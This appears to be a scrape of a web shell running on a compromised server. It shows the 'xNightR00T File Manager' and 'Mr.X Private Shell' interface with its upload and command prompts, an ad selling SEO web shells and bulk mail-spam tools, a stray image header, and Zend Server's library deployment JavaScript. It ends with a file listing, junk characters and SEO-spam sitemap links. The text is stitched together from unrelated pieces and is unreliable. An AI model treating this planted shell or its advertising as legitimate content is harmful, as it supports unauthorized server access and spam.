xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
zsApp
	.controller('DeploymentLibraryController', ['$scope', '$rootScope', 'WebAPI', '$timeout', '$location', 'ngDialog', 'Upload', '$http', 'DeploymentWizard', 'LibraryUpdates', '$sce', 'uiGridTreeViewConstants', 'uiGridTreeBaseService', function($scope, $rootScope, WebAPI, $timeout, $location, ngDialog, Upload, $http, DeploymentWizard, LibraryUpdates, $sce, uiGridTreeViewConstants, uiGridTreeBaseService) {
		$scope.setHelpLinkSlug('deployment_library');
		$scope.isZddOffline = false;
        $rootScope.userRole = authData.user.role;
		$scope.libraryUpdates = new LibraryUpdates(true, {
			onStart: function() {
				$scope.checkingUpdates = true;
			},
			onFinish: function() {
				$scope.checkingUpdates = false;
			}
		});
		$scope.gridOptions = {
			expandableRowTemplate: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/versionExpanded.html',
			showTreeRowHeader: false,
			columnDefs: [{
				field: 'status',
				displayName: '!',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/statusCol.html',
				width: '30',
			}, {
				field: 'libraryName',
				displayName: 'Name',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/nameCol.html',
				width: '20%'
			}, {
				field: 'greatestVersion',
				displayName: 'Latest',
				width: '70'
			}, {
				field: 'defaultVersion',
				displayName: 'Default',
				cellTemplate: '<div class="ui-grid-cell-contents"><span ng-if="! row.entity.libraryVersionId && row.entity.defaultVersion && row.entity.libraryVersions.length > 1">{{row.entity.defaultVersion}}</span><div class="zgrid-icon-ok" title="Default" ng-if="row.entity.libraryVersionId && row.entity.default && row.entity.$$parent.libraryVersions.length > 1"> </div></div>',
				width: '5%'
			}, {
				field: 'messageList',
				displayName: 'Messages',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/messageCol.html',
				width: '*'
			}, {
				field: 'id',
				displayName: 'Actions',
				cellTemplate: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/actionsCol.html',
				width: '110'
			}, ],
			//override row template to add ng-click attribute
			rowTemplate: '<div ng-class="{\'expanded\':row.isExpanded}" ng-click="(!row.entity.builtIn) ? grid.appScope.toggleRow(row, $event) : \'\'" ng-repeat="(colRenderIndex, col) in colContainer.renderedColumns track by col.uid" class="ui-grid-cell" ng-class="col.colIndex()" ui-grid-cell></div>',
			onRegisterApi: function(gridApi) {
				gridApi.expandable.on.rowExpandedStateChanged($scope, function(row) {
					if (row.isExpanded) {
						$scope.onExpand(row);
					}
				});
				gridApi.core.on.rowsRendered($scope, function() {
					$scope.onRowsRendered();
				});
				$scope.gridApi = gridApi;
                
                $scope.gridApi.grid.userRole = authData.user.role;
			},
			rowIdentity: function(entity) {
				return entity.libraryId;
			},
			expandableRowHeight: 1,
			rowIndex: 'libraryId', //Polling hash index
		};

		$scope.stopLibraryPolling = function() {
			$scope.isPollingActive = false;
			$timeout.cancel($scope.timeouts.pollLibraries);
		};


		$scope.toggleRow = function(row, evt) {
			uiGridTreeBaseService.toggleRowTreeState($scope.gridApi.grid, row, evt);
			$rootScope.toggleRow($scope.gridApi, row);

			if (!row.entity.libraryVersionId) {
				return;
			}
		};

		$scope.processVersionEntity = function(library, version) {
			return angular.extend(version, {
				$$treeLevel: 1,
				$$parent: library,
				libraryId: library.libraryId + '_' + version.libraryVersionId,
				libraryName: 'Version: ' + version.version
			});
		};

		$scope.processLibraryEntity = function(library) {
			if (library.libraryVersions) {
				angular.forEach(library.libraryVersions, function(version) {
					version.status = version.status.toLowerCase();
				});
			}
			return angular.extend(library, {
				$$treeLevel: 0,
				status: library.status.toLowerCase(),
				messages: [],
				greatestVersion: library.libraryVersions.reduce(function(prev, current) {
					if (prev === null || current.version === prev) {
						return current.version;
					}
					return $scope.versionCompare(current.version, prev) === 1 ? current.version : prev;
				}, library.libraryVersions[0].version)
			});
		};

		$scope.onRowsRendered = function() {
			if ($scope.firstLoad) {
				return;
			}
			$scope.firstLoad = true;
			$scope.checkForAllUpdates(true);
			$rootScope.openSelectedGrids($scope.gridApi);
		};

		$scope.pollLibraries = function() {
			// Libraries Polling
			$scope.stopLibraryPolling();
			$scope.isPollingActive = true;
			if (!$scope.pollLibrariesTasks) {
				$scope.pollLibrariesTasks = {};
			}

			WebAPI({
				url: '/ZendServer/Api/libraryGetStatus',
				ignoreLoadingBar: true
			}).then(function(response) {
				//Success

				var libraryInfo = [];
				var versionsInfo = [];
				var versionStatusMap = {};
				var libraryVersionMap = {};
				var isZF1Installed = false;
				var isZF2Installed = false;
				var libraryVersionsOnly = [];
				
				angular.forEach(response.data.responseData, function(library) {
					libraryInfo.push($scope.processLibraryEntity(library));
					if (library.libraryName == 'Zend Framework 1') {
						isZF1Installed = true;
					}
					if (library.libraryName == 'Zend Framework 2') {
						isZF2Installed = true;
					}
					library.builtIn = false;
					angular.forEach(library.libraryVersions, function(version) {
						libraryVersionsOnly.push($scope.processVersionEntity(library, version));
					});
				});

				if (!isZF1Installed) { // push default:
					libraryInfo.push({
						$$treeLevel : 0,
						defaultVersion : "1.12.20",
						greatestVersion : "1.12.20",
						libraryId : "500",
						libraryName : "Zend Framework 1",
						libraryVersions : [],
						messages : [''],
						builtIn: true,
						status : "staged",
						updateUrl : "https://packages.zendframework.com/zpk/zf1_up.json" });
				}
				
				if (!isZF2Installed) { // push default:
					libraryInfo.push({
						$$treeLevel : 0,
						defaultVersion : "2.4.13",
						greatestVersion : "2.4.13",
						libraryId : "501",
						libraryName : "Zend Framework 2",
						libraryVersions : [],
						messages : [''],
						builtIn: true,
						status : "staged",
						updateUrl : "https://packages.zendframework.com/zpk/zf1_up.json" });
				}
				
				function compare(a,b) {
					  if (a.libraryName < b.libraryName)
					    return -1;
					  if (a.libraryName > b.libraryName)
					    return 1;
					  
					  return 0;
				}

				// sorting the library names
				libraryInfo.sort(compare);
				
				// attach the versions to the right libraries
				var libsArray = [];
				angular.forEach(libraryInfo, function(lib) {
					libsArray.push(lib);
					angular.forEach(libraryVersionsOnly, function(ver) {
						if (lib.libraryName == ver.$$parent.libraryName) {
							libsArray.push(ver);
						}
					});
				});
				
				$scope.gridOptions.data = libsArray;

				if (!$scope.gridApi) {
					return;
				}
				//Tasks
				var librariesId = [];
				angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
					var library = row.entity;
					librariesId.push(library.libraryId);

					var task = $scope.pollLibrariesTasks[library.libraryId];
					if (task) {
						if (task.action === 'update-download') {
							if (['staged', 'active', 'deployed', 'error'].contains(library.status) || library.status.contains('error')) {
								$scope.checkForAllUpdates(true);
								delete $scope.pollLibrariesTasks[library.libraryId];
							}
						}
						if (task.action === 'deploy') {
							angular.forEach(library.libraryVersions, function(version) {
								if (version.libraryVersionId == task.version.libraryVersionId) {
									if (['staged', 'active', 'deployed'].contains(version.status)) {
										delete $scope.pollLibrariesTasks[library.libraryId];
										document.fireEvent('toastNotification', {
											'message': _t(library.libraryName + " " + version.version + " was successfully deployed")
										});
									} else if (['error'].contains(version.status)) {
										delete $scope.pollLibrariesTasks[library.libraryId];
										document.fireEvent('toastAlert', {
											'message': _t("Failed to redeploy " + library.libraryName)
										});
									}
								}
							});
						}
						if (task.action === 'redeploy') {
							angular.forEach(library.libraryVersions, function(version) {
								if (version.libraryVersionId == task.libraryVersionId) {
									if (['staged', 'active', 'deployed'].contains(version.status)) {
										delete $scope.pollLibrariesTasks[library.libraryId];
										document.fireEvent('toastNotification', {
											'message': _t(library.libraryName + " " + version.version + " was successfully redeployed")
										});
									} else if (['error'].contains(version.status)) {
										delete $scope.pollLibrariesTasks[library.libraryId];
										document.fireEvent('toastAlert', {
											'message': _t("Failed to redeploy " + library.libraryName)
										});
									}
								}
							});
						}

						if (task.action === 'removeVersion') {
							var deleted = true;
							angular.forEach(library.libraryVersions, function(version) {
								if (version.libraryVersionId == task.libraryVersionId) {
									deleted = false;
								}
							});
							if (deleted) {
								delete $scope.pollLibrariesTasks[library.libraryId];
								document.fireEvent('toastNotification', {
									'message': _t("Library version was successfully removed")
								});
							}
						}

						/*if (row.isExpanded) {
							$scope.onExpand(row);
						}*/


					}

				});
				//we need to iterate non visible apps (removed) by remove task
				angular.forEach($scope.pollLibrariesTasks, function(task, libId) {
					if (task.action === 'removeLibrary' && !librariesId.contains(libId)) {
						//removed lib found
						document.fireEvent('toastNotification', {
							'message': _t("Library was successfully removed")
						});

						delete $scope.pollLibrariesTasks[libId];
					}
				});
			}, function(responseApps) {
				//Failure
			}).finally(function() {
				$scope.isLoading = false;
				$scope.timeouts.pollLibraries = $timeout($scope.pollLibraries, 2000);
			});
		};

		$scope.doRemoveVersion = function(row) {
			row.isRemoving = true;

			WebAPI({
				url: '/ZendServer/Api/libraryVersionRemove',
				data: {
					'libVerId': row.entity.libraryVersionId,
					'ignoreFailures': 'TRUE'
				},
				method: 'post'
			}).then(function(response) {
				var libraryVersion = response.data.responseData[0].libraryVersions[0];

				$scope.pollLibrariesTasks[row.entity.$$parent.libraryId] = {
					action: 'removeVersion',
					libraryVersionId: row.entity.libraryVersionId
				};
				document.fireEvent('toastNotification', {
					'message': 'Removing library version...'
				});
				ngDialog.close();
			}, function() {
				document.fireEvent('toastAlert', {
					'message': 'Failed to remove library version'
				});
			}).finally(function() {
				$scope.pollLibraries();
			});
		};


		$scope.doRemove = function(row) {
			row.isRemoving = true;

			WebAPI({
				url: '/ZendServer/Api/libraryRemove',
				data: {
					'libId': row.entity.libraryId,
					'ignoreFailures': 'TRUE'
				},
				method: 'post'
			}).then(function(response) {

				$scope.pollLibrariesTasks[row.entity.libraryId] = {
					action: 'removeLibrary'
				};
				document.fireEvent('toastNotification', {
					'message': 'Removing library...'
				});
				ngDialog.close();
			}, function() {
				document.fireEvent('toastNotification', {
					'message': 'Failed to remove library'
				});
			}).finally(function() {
				$scope.pollLibraries();
			});


		};

		$scope.isDaemonRunning = function() {
			WebAPI({
				url: '/ZendServer/Api/isDaemonRunning',
				params: {}
			}).then(function(response) {
				$scope.isZddOffline = response.data.responseData.isDaemonOffline;
			});
		};

		$scope.isDaemonRunning();

		$scope.deployInternalLibrary = function (name) {
			WebAPI({
				url: '/ZendServer/Api/libraryVersionDeploy',
				data: {
					'libraryName': name,
					'ignoreFailures': 'TRUE'
				},
				method: 'post'
			}).then(function(response) {

				document.fireEvent('toastNotification', {
					'message': 'Deploying library...'
				});
				ngDialog.close();
			}, function() {
				document.fireEvent('toastNotification', {
					'message': 'Failed to deploy library'
				});
			}).finally(function() {
				//$scope.pollLibraries();
			});
			
		};
		
		$scope.openWizard = function(action, options, name) {
			
			//var downloadUrl = 'http://updates.zend.com/zpkai/index.php?name=' + name;
			// <--span grid.appScope.openWizard('deploy-library', '','zf1');-->
			if (name == 'zf1' || name == 'zf2') {				
				DeploymentWizard.open('update-download-library', {
					name: name,
					version: '',
					onSuccess: function() {
						$state.go('applications-libraries');
					}
				});
			}
			
			options = angular.extend({
				onSuccess: function(response) {
					var libVersion = Object.keys(response.data.versions)[0];
					angular.forEach($scope.gridApi.grid.getVisibleRows(), function(libraryRow) {
						if (libraryRow.entity.libraryId === response.data.libraryId &&  libraryRow.isExpanded !== true) {
							$scope.toggleRow(libraryRow);
							$timeout(function() {
								angular.forEach($scope.gridApi.grid.getVisibleRows(), function(libraryVerRow) {									
									if (libraryVerRow.entity.libraryId === response.data.libraryId + '_' + libVersion && libraryVerRow.isExpanded !== true) {
										$scope.toggleRow(libraryVerRow);
									}
								});
							}, 1000);
						}
					});
					if (action === 'deploy-library') {
						document.fireEvent('toastNotification', {
							'message': 'Deploying library...'
						});
						$scope.pollLibrariesTasks[response.data.libraryId] = {
							action: 'deploy',
							version: response.data.versions[Object.keys(response.data.versions)[0]]
						};
					}
					if (action === 'update-download-library') {
						document.fireEvent('toastNotification', {
							'message': 'Updating library...'
						});
						$timeout(function() {
							$scope.pollLibrariesTasks[response.data.libraryId] = {
								action: 'update-download',
								response: response.data
							};
						}.bind(this), 3000);
					}
				}.bind(this)
			}, options || {});

			DeploymentWizard.open(action, options);
		};

		$scope.removeVersion = function($event, row) {
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)

			row.isRemovingLoading = true;
			$scope.stopLibraryPolling();

			WebAPI({
				url: '/ZendServer/Api/libraryVersionCheckDependents?libraryVersionId=' + row.entity.libraryVersionId
			}).then(function(response) {
				row.isRemovingLoading = false;
				if (response.data.responseData.prerequisiteCheck.brokenPlugin !== "") {
					var answer = confirm('Removing this library contradicts the required prerequisites for a deployed plugin. Do you wish to disable the (' + response.data.responseData.prerequisiteCheck.brokenPluginName + ') plugin first?');
					if (!answer) {
						return;
					} else {
						WebAPI({
							url: '/ZendServer/Api/disablePlugins',
							data: {
								"plugins": [response.data.responseData.prerequisiteCheck.brokenPlugin]
							},
							method: 'post'
						});
					}
				}

				var override;
				if (response.data.responseData) {
					// continue to remove library after disabling broken plugin
					if (response.data.responseData.prerequisiteCheck.valid || response.data.responseData.prerequisiteCheck.brokenPlugin !== "") {
						override = false;
					} else if (response.data.responseData.prerequisiteCheck.brokenPlugin === "") {
						override = true;
					}
				}

				ngDialog.open({
					template: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/dialogs/remove.html',
					scope: $scope,
					className: 'ngdialog-theme-default ngdialog-small',
					data: {
						row: row,
						override: override
					}
				});


			});
		};

		$scope.remove = function($event, row) {
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)
			row.isRemovingLoading = true;
			$scope.stopLibraryPolling();

			WebAPI({
				url: '/ZendServer/Api/libraryCheckDependents?libraryId=' + row.entity.libraryId
			}).then(function(response) {
				row.isRemovingLoading = false;
				if (response.data.responseData.prerequisiteCheck.brokenPlugin !== "") {
					var answer = confirm('Removing this library contradicts the required prerequisites for a deployed plugin. Do you wish to disable the (' + response.data.responseData.prerequisiteCheck.brokenPluginName + ') plugin first?');
					if (!answer) {
						return;
					} else {
						WebAPI({
							url: '/ZendServer/Api/disablePlugins',
							data: {
								"plugins": [response.data.responseData.prerequisiteCheck.brokenPlugin]
							},
							method: 'post'
						});
					}
				}

				var override;
				if (response.data.responseData) {
					// continue to remove library after disabling broken plugin
					if (response.data.responseData.prerequisiteCheck.valid || response.data.responseData.prerequisiteCheck.brokenPlugin !== "") {
						override = false;
					} else if (response.data.responseData.prerequisiteCheck.brokenPlugin === "") {
						override = true;
					}
				}

				ngDialog.open({
					template: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/dialogs/remove.html',
					scope: $scope,
					className: 'ngdialog-theme-default ngdialog-small',
					data: {
						row: row,
						override: override
					}
				});


			});
		};



		$scope.doSetDefault = function(row) {
			row.isSettingDefault = true;

			WebAPI({
				url: '/ZendServer/Api/librarySetDefault',
				data: {
					'libraryVersionId': row.entity.libraryVersionId
				},
				method: 'post',
				skipErrorHandler: true
			}).then(function(response) {
				document.fireEvent('toastNotification', {
					'message': _t('Library version ' + row.entity.version + ' defined as default')
				});
				ngDialog.close();
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': _t('Failed to set library as default: ' + response.responseData)
				});
			}).finally(function() {
				row.isSettingDefault = false;
			});
		};

		$scope.setDefault = function($event, row) {
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)

			ngDialog.open({
				template: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/dialogs/setDefault.html',
				scope: $scope,
				className: 'ngdialog-theme-default ngdialog-small',
				data: {
					row: row
				}
			});
		};

		$scope.redeploy = function($event, row) {
			$event.stopPropagation(); //prevent event bubbling (row will'nt expand)

			ngDialog.open({
				template: '/ZendServer/ModuleResource/Deployment/templates/libraries/table/dialogs/redeploy.html',
				scope: $scope,
				className: 'ngdialog-theme-default ngdialog-small',
				data: {
					row: row
				}
			});
		};

		$scope.doRedeploy = function(row) {
			// Synchronize application
			$scope.stopLibraryPolling();

			WebAPI({
				url: '/ZendServer/Api/libraryVersionSynchronize',
				data: {
					libraryVersionId: row.entity.libraryVersionId
				},
				method: 'post'
			}).then(function(response) {
				document.fireEvent('toastNotification', {
					'message': 'Redeploying library...'
				});
				$scope.pollLibrariesTasks[row.entity.$$parent.libraryId] = {
					action: 'redeploy',
					libraryVersionId: row.entity.libraryVersionId
				};
				ngDialog.close();
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': 'Failed to redeploy library'
				});
			}).finally(function() {
				$scope.pollLibraries();
			});
		};

		$scope.onExpand = function(row) {
			if (row.entity.libraryVersionId && !row.prerequisitesHTML) {
				$http({
					url: '/ZendServer/DeploymentLibrary/Get-Library-Prerequisites/',
					method: 'post',
					data: {
						'library_id': row.entity.libraryVersionId
					}
				}).then(function(response) {
					row.prerequisitesHTML = $sce.trustAsHtml(response.data);
				});
			}
		};

		$scope.checkForAllUpdates = function(silent) {
            if (! silent) {
                document.fireEvent('toastNotification', {'message': 'Zend Server is checking for library updates...'});
            }
            $scope.checkingRows = [];
			angular.forEach($scope.gridApi.grid.getVisibleRows(), function(row) {
				$scope.checkingRows.push(row);
			});
            
            angular.forEach($scope.checkingRows, function(row){               
                $scope.checkForUpdate(row, silent, function(row) {
                    if ($scope.checkingRows.indexOf(row) > -1 ) {
                        $scope.checkingRows.splice($scope.checkingRows.indexOf(row),1);
                    }
                    if (! silent) {
                        if ($scope.checkingRows.length === 0) {
                            document.fireEvent('toastNotification', {'message': 'Zend Server has finished checking for library updates '});
                        }
                    } 
                });
            });
		};

		$scope.checkForUpdate = function(row, silent, callback) {
			if (!row.entity.updateUrl) {
				return;
			}
			
			row.inUpdateProcess = true;
            row.updateError = false;
			$scope.libraryUpdates.check(row.entity.libraryName, row.entity.greatestVersion, row.entity.updateUrl, null, function(result) {
				// Success
				row.updateResults = result;
			}.bind(this), function(result) {
				// Error
				row.updateResults = result;
                row.updateError = 'Cannot access the library update repository: ' + row.entity.libraryName;
                if (silent) {
					return;
				}
				document.fireEvent('toastAlert', {
					'message': 'Cannot access the library update repository: ' + row.entity.libraryName
				});
			}.bind(this), function() {
				// Finally
				row.inUpdateProcess = false;
                
				if (callback) { 
                    callback(row); 
                }
			}.bind(this));
		};


		$scope.onload = function() {
			$scope.timeouts = {};
			angular.forEach($scope.timeouts, function(timer) {
				$timeout.cancel(timer);
			});

			$scope.pollLibraries();
		};


		$scope.$on('$destroy', function() {
			$scope.stopLibraryPolling();
		});

		$scope.onload();

		// fixed #ZSRV-16420: start the deploy library wizard 
		if (document.location.hash.indexOf("Deploy=1") != -1) {
			$scope.openWizard('deploy-library');
		}

	}]).factory('LibraryUpdates', ['$rootScope', '$cookies', '$http', function($rootScope, $cookies, $http) {
		var obj = function(stopAutoRun, options) {

			this.init = function() {
				this.updateUrl = $rootScope.serverData['lib-update-url'];
				if (document.location.protocol != "http:") {
					this.updateUrl = this.updateUrl.replace('http:', 'https:');
				}

				this.reportUpdateUrl = '/ZendServer/DeploymentLibrary/NewUpdate';
				this.reportNoUpdateUrl = '/ZendServer/DeploymentLibrary/NoUpdate';
				this.zsVersion = $rootScope.serverData['zs-version'];
				this.phpVersion = $rootScope.serverData['php-version'];
				this.osName = $rootScope.serverData['os-name'];
				this.arch = $rootScope.serverData.arch;
				this.uniqueId = $rootScope.serverData['unique-id'];
				this.updateProcess = {};
				this.options = angular.extend({
					onFinish: function() {},
					onStart: function() {},
				}, options || {});

				var zs6BootstrapCookie = $cookies.get(COOKIE_PREFIX+'ZS6Bootstrapped');
				if (zs6BootstrapCookie !== null) {
					this.boostrap = true;
					$cookies.remove('ZS6Bootstrapped');
				}

				if (stopAutoRun) {
					var zs6LibsCookie = $cookies.get(COOKIE_PREFIX+'ZSLIBRARIES');
					if (zs6LibsCookie) {
						var libs = JSON.decode(zs6LibsCookie.replace(/\+/gi, ' '));
						angular.forEach(libs, function(lib, name) {
							if (lib.url.indexOf('https:') === 0) {
								//Check only if secured (https)
								this.check(name, lib.version, lib.url);
							}
						}.bind(this));
					}
				}

			};

			this.check = function(name, currentVersion, checkUrl, directUrl, callbackSuccess, callbackError, callbackFinally) {
				
				if (!$rootScope.serverData['is-network-enabled']) {
					return 'The Internet access of Zend Server is disabled. Go to Administration->Settings';
				}
				
				directUrl = directUrl || false;
				callbackSuccess = callbackSuccess || function() {};
				callbackError = callbackError || function() {};
				callbackFinally = callbackFinally || function() {};
				if (Object.keys(this.updateProcess).length === 0) {
					this.options.onStart();
				}

				this.updateProcess[name] = true;

				// build parameters according to the url
				var updateUrl;
				if (this.updateUrl.contains('?')) {
					updateUrl = this.updateUrl + '&name=' + name;
				} else {
					updateUrl = this.updateUrl + '?name=' + name;
				}

				updateUrl += '&currVer=' + currentVersion + '&packageUrl=' + encodeURIComponent(checkUrl) +
					'&zs=' + this.zsVersion + '&php=' + this.phpVersion + '&os=' + this.osName + '&arch=' + this.arch + '&hash=' + this.uniqueId + '&r=' + String.uniqueID();

				if (this.boostrap) {
					this.boostrap = false;
					updateUrl += '&boot=1';
				}

				if (directUrl) {
					updateUrl = checkUrl;
				}

				// we are using XMLHttpRequest because the update url will contain redirect header and mootools Request object
				// isn't handling it at all
				var http = new XMLHttpRequest();
				http.open("GET", updateUrl, true);
				http.onreadystatechange = function() {
					if (http.readyState !== 4) {
						return;
					}
					if (http.status === 200) {
						delete this.updateProcess[name];
						var response = JSON.decode(http.responseText);
						var updateError = false;
						var needUpdate = false;
						if (response.version) {
							// check version is bigger than current
							if ($rootScope.versionCompare(response.version, currentVersion) === 1) {
								needUpdate = response;
								this.reportNewUpdate(name, response.version, response);
							} else {
								this.reportNoUpdateNeeded(name, response.version);
								needUpdate = false;
							}
						} else {
							updateError = true;
						}

						if (updateError) {
							callbackError({}, response);
						} else {
							callbackSuccess({
								needUpdate: needUpdate
							}, response);
						}

						if (Object.keys(this.updateProcess).length === 0) {
							//Finish all updates
							this.options.onFinish();
						}
                        callbackFinally();
					} else {
						// cannot get location - try again with direct url
						if (!directUrl) {
							this.check(name, currentVersion, checkUrl, true, callbackSuccess, callbackError, callbackFinally);
						} else { // failed the second time - report the error
							delete this.updateProcess[name];

							// finished with update
							if (Object.keys(this.updateProcess).length === 0) {
								//Finish all queued checks
								//this.fireEvent('finishUpdate');
								this.options.onFinish();
							}

							//this.fireEvent('updateError', {'name': name});
							callbackError({});
                            callbackFinally();
						}
					}
					
				}.bind(this);

				// timeout event of 15 seconds
				http.timeout = 15000;
				http.ontimeout = function() {
					delete this.updateProcess[name];

					// finished with update
					if (Object.keys(this.updateProcess).length === 0) {
						if (this.options.onFinish) {
							this.options.onFinish();
						}
					}

					callbackError({});
					callbackFinally();
				}.bind(this);
				http.send(null);
			};

			this.inUpdateProcess = function(name) {
				if (this.updateProcess.contains(name)) {
					return true;
				}

				return false;
			};

			this.needUpdate = function(name, version) {
				if (this.needUpdates[name] !== undefined) {
					if ($rootScope.versionCompare(this.needUpdates[name].version, version) === 1) {
						return true;
					}

					this.needUpdates.erase(name);
				}

				return false;
			};

			this.getUpdateData = function(name) {
				if (this.needUpdates[name] !== undefined) {
					return this.needUpdates[name];
				}

				return null;
			};

			// report the new update availibilty to the server
			this.reportNewUpdate = function(name, version, extraData, callback) {
				$http({
					url: this.reportUpdateUrl,
					data: {
						'name': name,
						'version': version,
						'extraData': extraData
					},
					method: 'post',
                    headers : {
                            'Accept': 'application/json',
                            'X-Request': 'JSON'
                    }
				}).then(function(response) {
					if (callback) {
						callback(response);
					}
					//this.fireEvent('finishReportNewUpdate', {'name': name});
				}.bind(this));
			};

			// report no update needed to the server
			this.reportNoUpdateNeeded = function(name, version, callback) {
				$http({
					url: this.reportNoUpdateUrl,
					data: {
						'name': name,
						'version': version
					},
					method: 'post',
                    headers : {
                            'Accept': 'application/json',
                            'X-Request': 'JSON'
                    }
				}).then(function(response) {
					if (callback) {
						callback(response);
					}
					//this.fireEvent('finishReportNoUpdateNeeded', {'name': name});
				}.bind(this));
			};

			this.init();
		};

		return obj;

	}]);

Filemanager

Name Type Size Permission Actions
applications.js File 46.22 KB 0644
deployment-wizard.js File 25.47 KB 0644
libraries.js File 29.77 KB 0644
settings.js File 2.93 KB 0644
vhost-manage-wizard.js File 2.66 KB 0644
vhost-wizard.js File 14.49 KB 0644
vhost.js File 27.81 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml